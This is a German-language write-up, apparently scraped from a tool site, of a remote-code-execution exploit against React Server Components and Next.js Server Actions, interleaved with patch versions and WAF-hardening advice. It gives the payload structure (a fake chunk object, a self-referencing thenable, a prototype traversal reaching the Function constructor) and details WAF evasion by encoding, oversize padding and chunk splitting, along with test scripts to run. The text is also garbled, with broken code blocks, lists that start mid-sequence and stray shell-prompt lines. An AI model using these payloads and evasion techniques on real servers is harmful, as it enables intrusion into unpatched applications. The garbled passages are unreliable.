Exploit-Ablauf```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

Selbstreferenzielles Thenable (then)

The then: "$1:__proto__:then" erzeugt eine Selbstreferenz, die zu einer echten Funktion aufgelöst wird:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) verwendet this._response - die gefälschte _response des Angreifers:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

Stufe 1: Das selbstreferenzielle then des äußeren Objekts löst die Chunk-Verarbeitung aus

Stufe 2: Wenn React das Modell auflöst, parst es value und trifft auf ein weiteres thenable mit then: "$B1337". Das Präfix $B löst den Handler aus:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

Der interne Code von React kann während der Verarbeitung auf response._chunks.get() oder response._chunks.has() zugreifen. Eine leere Map erfüllt diese Aufrufe ohne Fehler und ermöglicht so die Ausführung des anfälligen $B-Handlers.

Anfällige Codepfade

decodeReply() ist der Einstiegspunkt, selbst nicht anfällig.

Pfad-Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. hasOwnProperty-Prüfung in getOutlinedModel() - Blockiert Prototypen-Traversierung ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. __proto__-Handhabung in reviveModel() - Verhindert Prototype Pollution ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. Typüberprüfung in initializeModelChunk() - Validiert Listener ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

Auswirkungen & Versionen

Auswirkungsbewertung

Betroffene Versionen

• react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: Gleiche Versionen
• Next.js: 15.x, 16.x (vor Patches), Canaries ab 14.3.0-canary.77+

Korrigierte Versionen

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Warum signaturbasierte WAF-Erkennung fehlschlägt

Dieser Abschnitt erklärt, warum traditionelle Mustervergleichs-WAF-Regeln diesen Exploit nicht zuverlässig erkennen können. Das Verständnis dieser Einschränkungen ist für Sicherheitsteams, die ihre Verteidigungsposition bewerten, unerlässlich.

Das Kernproblem: Kodierung auf mehreren Ebenen

Die Exploit-Nutzlast durchläuft mehrere Parser, die jeweils unterschiedliche Kodierungsunterstützung haben. Eine WAF, die rohe HTTP-Bytes überprüft, sieht kodierte Zeichenfolgen, aber der Server dekodiert sie vor der Verarbeitung:

Dies erzeugt eine grundlegende Diskrepanz: die WAF sieht kodierte Bytes, aber die Anwendung sieht dekodierte Zeichenfolgen.

Was Signaturen abgleichen müssten

Eine naive WAF könnte nach Mustern wie constructor, __proto__, resolved_model oder child_process suchen. Jedoch erlaubt JSON Unicode-Escape-Sequenzen für jedes Zeichen:

JavaScript-Code innerhalb der Nutzlast hat noch mehr Kodierungsoptionen:

Die Erkennungslücke

Wenn alle Kodierungstechniken kombiniert werden:

• JSON-Schlüssel werden zu Unicode-Sequenzen (\u0074\u0068\u0065\u006e für then)
• JS-Bezeichner werden zu numerischen Arrays (S(99,104,105,108,100,95,...) für child_process)
• Die rohe Nutzlast enthält null erkennbare Schlüsselwörter

Eine WAF, die den HTTP-Body scannt, sieht nur Escape-Sequenzen und Zahlen – nichts, das mit traditionellen Angriffssignaturen übereinstimmt.

Warum dies für Verteidiger wichtig ist

1. Signaturbasierte Regeln erzeugen falsches Vertrauen – Die Nutzlast erreicht den Server unerkannt
2. Kodierung ist unendlich – Jedes Zeichen kann unterschiedlich escaped werden; Regex kann nicht alle Varianten aufzählen
3. Der Angriff ist protokollkonform – Alle Kodierungen sind gemäß Spezifikation gültiges JSON/JavaScript.

Überlegungen zur Header-Erkennung

Der Next-Action-Header identifiziert Server Action-Anfragen. Während Header-Namen nicht Unicode-kodiert werden können (RFC 7230 erfordert ASCII-Token), erzeugen Normalisierungsunterschiede zwischen WAF und Server Erkennungslücken:

Empfehlungen zur Verteidigung

Patchen ist die einzige zuverlässige Gegenmaßnahme. WAF-Regeln können diesen Angriff aufgrund der Kodierungsflexibilität nicht umfassend blockieren.

Erforderliche Versionen:

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Wenn das Patchen verzögert wird, beachten Sie:

1. Vor dem Abgleich dekodieren – WAF muss \uXXXX, \xXX dekodieren und fromCharCode()-Aufrufe normalisieren, bevor Mustervergleich erfolgt
2. Strukturelle Erkennung – Suchen Sie nach JSON-Strukturen, die _response, _prefix, _chunks oder zirkuläre Referenzen ($@0) enthalten
3. Header-Normalisierung – Gleichen Sie den next-action-Header case-insensitiv mit Leerzeichenentfernung ab
4. Server Actions blockieren – Wenn Sie Server Actions nicht nutzen, blockieren Sie Anfragen mit Next-Action-Header vollständig
5. Runtime-Überwachung – Alarmieren Sie bei Function()-Aufrufen mit dynamischen String-Argumenten

Wichtigste Erkenntnis: Mustervergleich allein wird gegen diese Angriffsklasse versagen. Die Kodierungsoberfläche ist zu groß, um sie aufzuzählen.

Umgehung der AWS WAF Body Inspection Limits

Selbst mit umfassenden WAF-Regeln hat AWS WAF Body-Inspection-Größenlimits, die ausgenutzt werden können. Dieser Abschnitt dokumentiert getestete Umgehungstechniken mit überdimensionalen Nutzlasten.

Body-Inspection-Limits

AWS WAF inspiziert nur einen Teil des Anfrage-Bodys:

Das OversizeHandling-Problem

WAF-Regeln legen fest, wie mit Anfragen umgegangen wird, die die Inspektionslimits überschreiten:

Wenn Ihre WAF-Regel OversizeHandling: CONTINUE verwendet (häufige Standardeinstellung), ist die Umgehung trivial.

Umgehungsstrategie: Padding vor der Nutzlast

Platzieren Sie harmlose Padding-Daten vor der Exploit-Nutzlast, sodass sie außerhalb des Inspektionsfensters liegt:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

Muster über Chunks hinweg aufgeteilt:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

WAF-Verhalten – Überlegungen

Hinweis: AWS WAF setzt chunked Bodies typischerweise vor der Inspektion wieder zusammen. Dies sollte jedoch pro Umgebung überprüft werden, da die Konfigurationen variieren.

Empfehlungen zur Abschwächung

1. Ändern Sie OversizeHandling auf MATCH ```json "OversizeHandling": "MATCH"
   root@kitploit:~

Dies blockiert jede Anfrage, die das Inspektionslimit überschreitet, wenn die Regelbedingungen erfüllt sind.

2. Erhöhung des Body-Inspektionslimits (nur CloudFront/API Gateway) Konfigurieren Sie bis zu 64 KB in den Web-ACL-Einstellungen, aber dies verhindert die Umgehung nicht vollständig.

3. Größenbasierte Blockierungsregel hinzufügen Blockieren Sie POST-Anfragen mit dem Next-Action-Header, die eine angemessene Größe (z. B. 10 KB) überschreiten.

4. Die Anwendung patchen – Die einzige vollständige Lösung.

Test-Skripte

Siehe enthaltene Testskripte:

• test-simple.cjs – Basis-Test mit nicht-gechunkten Payloads
• test-oversize.cjs – Testet Padding-Größen von 0–128 KB
• test-chunked-v2.cjs – Chunked Transfer Encoding mit $@-Aufteilung
• test-chunked-bypass.cjs – Mehrere Chunking-Strategien (5-Byte, 10-Byte, Pattern-Splits)

Verwendung:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

Mit der Payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

Blockierte Pfade, die wir versucht haben

Obwohl wir Function erhalten haben, erfordert die Ausführung von RCE, dass sie mit kontrollierten Argumenten aufgerufen wird. Diese Pfade schlugen fehl:

1. Thenable-Pfad (blockiert)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. Iterator-Pfad (Blockiert)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute